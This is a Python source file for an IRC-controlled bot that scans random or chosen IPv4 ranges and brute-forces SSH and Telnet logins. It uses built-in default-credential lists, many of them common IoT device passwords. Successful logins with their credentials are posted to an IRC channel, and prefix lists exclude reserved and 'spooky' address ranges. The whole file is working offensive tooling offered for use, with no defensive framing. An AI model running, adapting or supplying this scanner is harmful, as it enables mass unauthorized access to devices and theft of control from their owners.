spaggiari

- irc bot to scan & bruteforce ssh/telnet
git clone git://git.acid.vegas/spaggiari.git
Log | Files | Refs | Archive | README | LICENSE

spaggiari_irc.py (17446B)

      1 #!/usr/bin/env python
      2 # Spaggiari Scanner (IRC Bot Version) - Developed by acidvegas in Python (https://acid.vegas/spaggiari)
      3 
      4 import ipaddress
      5 import os
      6 import random
      7 import re
      8 import socket
      9 import ssl
     10 import sys
     11 import telnetlib
     12 import threading
     13 import time
     14 from collections import OrderedDict
     15 
     16 # IRC Config
     17 server     = 'irc.supernets.org'
     18 port       = 6667
     19 use_ipv6   = False
     20 use_ssl    = False
     21 password   = None
     22 channel    = '#dev'
     23 key        = None
     24 admin_host = 'ak@super.nets'
     25 
     26 # Throttle Settings
     27 max_threads     = 120 # Maximum number of threads.
     28 throttle        = 0   # Delway between each combo attempt.
     29 timeout_breaker = 3   # How many timeouts until host is given up on.
     30 timeout         = 3   # Timeout for all sockets.
     31 
     32 # Bruteforce Combos
     33 ssh_combos = OrderedDict([
     34     ('root',  ('root','toor','admin','changeme','pass','password','1234','12345','123456')),
     35     ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password'))
     36 ])
     37 
     38 telnet_combos = OrderedDict([
     39     ('666666',        ('666666',)),
     40     ('888888',        ('888888',)),
     41     ('admin',         (None, '1111', '1111111', '1234', '12345', '123456', '54321', '7ujMko0admin', 'admin', 'admin1234', 'meinsm', 'pass', 'password', 'smcadmin')),
     42     ('admin1',        ('password',)),
     43     ('administrator', ('1234',)),
     44     ('Administrator', ('admin',)),
     45     ('guest',         ('12345', 'guest')),
     46     ('mother',        ('fucker',)),
     47     ('root',          (None, '00000000', '1111', '1234', '12345', '123456', '54321', '666666', '7ujMko0admin', '7ujMko0vizxv', '888888', 'admin', 'anko', 'default', 'dreambox', 'hi3518', 'ikwb', 'juantech', 'jvbzd', 'klv123', 'klv1234', 'pass', 'password', 'realtek', 'root', 'system', 'user', 'vizxv', 'xc3511', 'xmhdipc', 'zlxx.', 'Zte521')),
     48     ('service',       ('service',)),
     49     ('supervisor',    ('supervisor',)),
     50     ('support',       ('support',)),
     51     ('tech',          ('tech',)),
     52     ('ubnt',          ('ubnt',)),
     53     ('user',          ('user',))
     54 ])
     55 
     56 # Important Ranges (DO NOT EDIT)
     57 spooky   = ('11','21','22','24','25','26','29','49','50','55','62','64','128','129','130','131','132','134','136','137','138','139','140','143','144','146','147','148','150','152','153','155','156','157','158','159','161','162','163','164','167','168','169','194','195','199','203','204','205','207','208','209','212','213','216','217','6','7')
     58 reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
     59 
     60 # Formatting Control Characters / Color Codes
     61 bold        = '\x02'
     62 italic      = '\x1D'
     63 underline   = '\x1F'
     64 reverse     = '\x16'
     65 reset       = '\x0f'
     66 white       = '00'
     67 black       = '01'
     68 blue        = '02'
     69 green       = '03'
     70 red         = '04'
     71 brown       = '05'
     72 purple      = '06'
     73 orange      = '07'
     74 yellow      = '08'
     75 light_green = '09'
     76 cyan        = '10'
     77 light_cyan  = '11'
     78 light_blue  = '12'
     79 pink        = '13'
     80 grey        = '14'
     81 light_grey  = '15'
     82 
     83 # Debug Functions
     84 def debug(msg):
     85     print('{0} | [~] - {1}'.format(get_time(), msg))
     86 
     87 def error(msg, reason=None):
     88     if reason:
     89         print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
     90     else:
     91         print('{0} | [!] - {1}'.format(get_time(), msg))
     92 
     93 def error_exit(msg):
     94     raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg))
     95 
     96 def get_time():
     97     return time.strftime('%I:%M:%S')
     98 
     99 
    100 
    101 # Functions
    102 def check_ip(ip):
    103     return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
    104 
    105 def check_port(ip, port):
    106     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    107     sock.settimeout(timeout)
    108     try:
    109         code = sock.connect((ip, port))
    110     except socket.error:
    111         return False
    112     else:
    113         if not code:
    114             return True
    115         else:
    116             return False
    117     finally:
    118         sock.close()
    119 
    120 def check_range(targets):
    121     found = False
    122     for ip in targets:
    123         if found:
    124             break
    125         for bad_range in spooky + reserved:
    126             if ip.startswith(bad_range + '.'):
    127                 found = True
    128                 break
    129     return found
    130 
    131 def color(msg, foreground, background=None):
    132     if background:
    133         return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset)
    134     else:
    135         return '\x03{0}{1}{2}'.format(foreground, msg, reset)
    136 
    137 def ip_range(network):
    138     return ipaddress.ip_network(network)
    139 
    140 def random_ip():
    141     return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255))
    142 
    143 def random_int(min, max):
    144     return random.randint(min, max)
    145 
    146 def random_str(size):
    147     return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(size))
    148 
    149 
    150 
    151 # Scan Functions
    152 class random_scan(threading.Thread):
    153     def __init__(self):
    154         threading.Thread.__init__(self)
    155     def run(self):
    156         while True:
    157             if Spaggiari.stop_scan:
    158                 break
    159             else:
    160                 ip = (random_ip(), )
    161                 if not check_range(ip):
    162                     ssh_bruteforce(ip[0]).start()
    163             while threading.activeCount() >= max_threads:
    164                 time.sleep(1)
    165 
    166 class range_scan(threading.Thread):
    167     def __init__(self, ip_range):
    168         self.ip_range = ip_range
    169         threading.Thread.__init__(self)
    170     def run(self):
    171         for ip in self.ip_range:
    172             if Spaggiari.stop_scan:
    173                 break
    174             else:
    175                 ssh_bruteforce(ip).start()
    176                 self.ip_range.remove(ip)
    177                 while threading.activeCount() >= max_threads:
    178                     time.sleep(1)
    179         while threading.activeCount() >= 2:
    180             time.sleep(1)
    181         Spaggiari.scanning = False
    182         Spaggiari.sendmsg(channel, '[{0}] - Scan has completed.'.format(color('#', blue)))
    183 
    184 class ssh_bruteforce(threading.Thread):
    185     def __init__(self, ip):
    186         self.ip       = ip
    187         self.timeouts = 0
    188         threading.Thread.__init__(self)
    189     def run(self):
    190         if check_port(self.ip, 22):
    191             for username in ssh_combos:
    192                 for password in ssh_combos[username]:
    193                     if Spaggiari.stop_scan or self.timeouts >= timeout_breaker:
    194                         break
    195                     else:
    196                         result = ssh_connect(self.ip, username, password)
    197                         if result == 1:
    198                             self.timeouts += 1
    199                         elif result == 2:
    200                             self.timeouts = timeout_breaker
    201                         time.sleep(throttle)
    202 
    203 class telnet_bruteforce(threading.Thread):
    204     def __init__(self, ip):
    205         self.ip       = ip
    206         self.timeouts = 0
    207         threading.Thread.__init__(self)
    208     def run(self):
    209         if check_port(self.ip, 23):
    210             for username in telnet_combos:
    211                 for password in telnet_combos[username]:
    212                     if Spaggiari.stop_scan or self.timeouts >= timeout_breaker:
    213                         break
    214                     else:
    215                         result = telnet_connect(self.ip, username, password)
    216                         if result == 1:
    217                             self.timeouts += 1
    218                         elif result == 2:
    219                             self.timeouts = timeout_breaker
    220                         time.sleep(throttle)
    221 
    222 def ssh_connect(hostname, username, password):
    223     ssh = paramiko.SSHClient()
    224     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    225     try:
    226         ssh.connect(hostname, 22, username, password, timeout=timeout)
    227         stdin,stdout,stderr = ssh.exec_command('echo lol')
    228         for line in stdout.readlines():
    229             if 'ogin:' in line:
    230                 raise Exception('Invalid')
    231             else:
    232                 Spaggiari.sendmsg(channel, line)
    233     except socket.timeout:
    234         return 1
    235     except:
    236         return 0
    237     else:
    238         Spaggiari.sendmsg(channel, '[{0}] - Successful SSH connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password))
    239         return 2
    240     finally:
    241         ssh.close()
    242 
    243 def telnet_connect(hostname, username, password):
    244     try:
    245         tn = telnetlib.Telnet(hostname, 23, timeout)
    246 #        time.sleep(1)
    247 #        print(tn.read_some())
    248         tn.read_until((b':' or b'>' or b'$' or b'@'))
    249         tn.write(username.encode() + b'\n')
    250         tn.read_until((b':' or b'>' or b'$' or b'@'))
    251         tn.write(password.encode() + b'\n')
    252         tn.read_all()
    253         tn.close()
    254     except socket.timeout:
    255         return 1
    256     except:
    257         return 0
    258     else:
    259         Spaggiari.sendmsg(channel, '[{0}] - Successful Telnet connection to {1} using {2}:{3}'.format(color('+', green), hostname, username, password))
    260         return 2
    261 
    262 
    263 
    264 # IRC Bot Object
    265 class IRC(object):
    266     def __init__(self):
    267         self.server    = server
    268         self.port      = port
    269         self.use_ipv6  = use_ipv6
    270         self.use_ssl   = use_ssl
    271         self.password  = password
    272         self.channel   = channel
    273         self.key       = key
    274         self.nickname  = 'spag-' + random_str(5)
    275         self.scanning  = False
    276         self.stop_scan = False
    277         self.sock      = None
    278 
    279     def start(self):
    280         self.connect()
    281 
    282     def action(self, chan, msg):
    283         self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg))
    284 
    285     def connect(self):
    286         try:
    287             self.create_socket()
    288             self.sock.connect((self.server, self.port))
    289             if self.password:
    290                 self.raw('PASS ' + self.password)
    291             self.raw(f'USER {random_str(5)} 0 * :{random_str(5)}')
    292             self.nick(self.nickname)
    293         except Exception as ex:
    294             error('Failed to connect to IRC server.', ex)
    295             self.event_disconnect()
    296         else:
    297             self.listen()
    298 
    299     def create_socket(self):
    300         family    = socket.AF_INET6 if self.use_ipv6 else socket.AF_INET
    301         self.sock = socket.socket(family, socket.SOCK_STREAM)
    302         if self.use_ssl:
    303             self.sock = ssl.wrap_socket(self.sock)
    304 
    305     def error(self, chan, msg, reason=None):
    306         if reason:
    307             self.sendmsg(chan, '[{0}] {1} {2}'.format(color('ERROR', red), msg, color('({0})'.format(str(reason)), grey)))
    308         else:
    309             self.sendmsg(chan, '[{0}] {1}'.format(color('ERROR', red), msg))
    310 
    311     def event_connect(self):
    312         self.join(self.channel, self.key)
    313 
    314     def event_disconnect(self):
    315         self.sock.close()
    316         self.stop_scan = True
    317         while threading.activeCount() >= 3:
    318             time.sleep(1)
    319         self.scanning  = False
    320         self.stop_scan = False
    321         time.sleep(10)
    322         self.connect()
    323 
    324     def event_kick(self, nick, chan, kicked, reason):
    325         if kicked == self.nickname and chan == self.channel:
    326             self.join(chan, self.key)
    327 
    328     def event_message(self, nick, host, chan, msg):
    329         #if host == admin_host:
    330             args = msg.split()
    331             cmd  = msg.split()[0][1:]
    332             if cmd == 'random':
    333                 if not self.scanning:
    334                     self.sendmsg(chan, '[{0}] - Scanning random IP addresses...'.format(color('#', blue)))
    335                     self.scanning = True
    336                     random_scan().start()
    337                 else:
    338                     self.error(chan, 'A scan is already running.')
    339             elif cmd == 'status':
    340                 if self.scanning:
    341                     self.sendmsg(chan, 'Scanning: ' + color('True', green))
    342                 else:
    343                     self.sendmsg(chan, 'Scanning: ' + color('False', red))
    344             elif cmd == 'stop':
    345                 if self.scanning:
    346                     self.stop_scan = True
    347                     while threading.activeCount() >= 2:
    348                         time.sleep(1)
    349                     self.action(chan, 'Stopped all running scans.')
    350                     self.scanning  = False
    351                     self.stop_scan = False
    352             elif cmd == 'range':
    353                 if not self.scanning:
    354                     if args[1] in ('b','c'):
    355                         if args[1] == 'b':
    356                             if args[2] == 'random':
    357                                 range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255))
    358                             else:
    359                                 range_prefix = args[2]
    360                             start = range_prefix + '.0.0'
    361                             end   = range_prefix + '.255.255'
    362                         elif args[1] == 'c':
    363                             if args[2] == 'random':
    364                                 range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255))
    365                             else:
    366                                 range_prefix = args[2]
    367                             start = range_prefix + '.0'
    368                             end   = range_prefix + '.255'
    369                         if check_ip(start) and check_ip(end):
    370                             targets = ip_range(start, end)
    371                             if not check_range(targets):
    372                                 self.sendmsg(chan, '[{0}] - Scanning {1} IP addresses in range...'.format(color('#', blue), '{:,}'.format(len(targets))))
    373                                 self.scanning = True
    374                                 range_scan(targets).start()
    375                             else:
    376                                 self.error(chan, 'Spooky/Reserved IP address range.')
    377                         else:
    378                             self.error(chan, 'Invalid IP address range.')
    379                     else:
    380                         self.error(chan, 'Invalid arguments.')
    381                 else:
    382                     self.error(chan, 'A scan is already running.')
    383 
    384     def event_nick_in_use(self):
    385         self.nickname = 'spag-' + random_str(5)
    386         self.nick(self.nickname)
    387 
    388     def handle_events(self, data):
    389         args = data.split()
    390         if args[0] == 'PING':
    391             self.raw('PONG ' + args[1][1:])
    392         elif args[1] == '001':
    393             self.event_connect()
    394         elif args[1] == '433':
    395             self.event_nick_in_use()
    396         if args[1] == 'KICK':
    397             nick   = args[0].split('!')[0][1:]
    398             chan   = args[2]
    399             kicked = args[3]
    400             self.event_kick(nick, chan, kicked)
    401         elif args[1] == 'PRIVMSG':
    402             nick = args[0].split('!')[0][1:]
    403             if nick != self.nickname:
    404                 host = args[0].split('!')[1].split('@')[1]
    405                 chan = args[2]
    406                 if chan == self.channel:
    407                     msg = ' '.join(args[3:])[1:]
    408                     self.event_message(nick, host, chan, msg)
    409 
    410     def join(self, chan, key=None):
    411         if key:
    412             self.raw(f'JOIN {chan} {key}')
    413         else:
    414             self.raw('JOIN ' + chan)
    415 
    416     def listen(self):
    417         while True:
    418             try:
    419                 data = self.sock.recv(1024).decode('utf-8')
    420                 if data:
    421                     for line in (line for line in data.split('\r\n') if line):
    422                         debug(line)
    423                         if len(line.split()) >= 2:
    424                             if line.startswith('ERROR :Closing Link:'):
    425                                 raise Exception('Connection has closed.')
    426                             else:
    427                                 self.handle_events(line)
    428                 else:
    429                     error('No data recieved from server.')
    430                     break
    431             except (UnicodeDecodeError,UnicodeEncodeError):
    432                 pass
    433             except Exception as ex:
    434                 error('Unexpected error occured.', ex)
    435                 break
    436         self.event_disconnect()
    437 
    438     def nick(self, nick):
    439         self.raw('NICK ' + nick)
    440 
    441     def raw(self, msg):
    442         self.sock.send(bytes(msg + '\r\n', 'utf-8'))
    443 
    444     def sendmsg(self, target, msg):
    445         self.raw(f'PRIVMSG {target} :{msg}')
    446 
    447 # Main
    448 print(''.rjust(56, '#'))
    449 print('#{0}#'.format(''.center(54)))
    450 print('#{0}#'.format('Spaggiari Scanner'.center(54)))
    451 print('#{0}#'.format('Developed by acidvegas in Python 3'.center(54)))
    452 print('#{0}#'.format('https://github.com/acidvegas/spaggiari'.center(54)))
    453 print('#{0}#'.format(''.center(54)))
    454 print(''.rjust(56, '#'))
    455 if not sys.version_info.major == 3:
    456     error_exit('Spaggiari Scanner requires Python version 3 to run!')
    457 try:
    458     import paramiko
    459 except ImportError:
    460     error_exit('Failed to import the Paramiko library!')
    461 else:
    462     paramiko.util.log_to_file(os.devnull)
    463 Spaggiari = IRC()
    464 Spaggiari.start()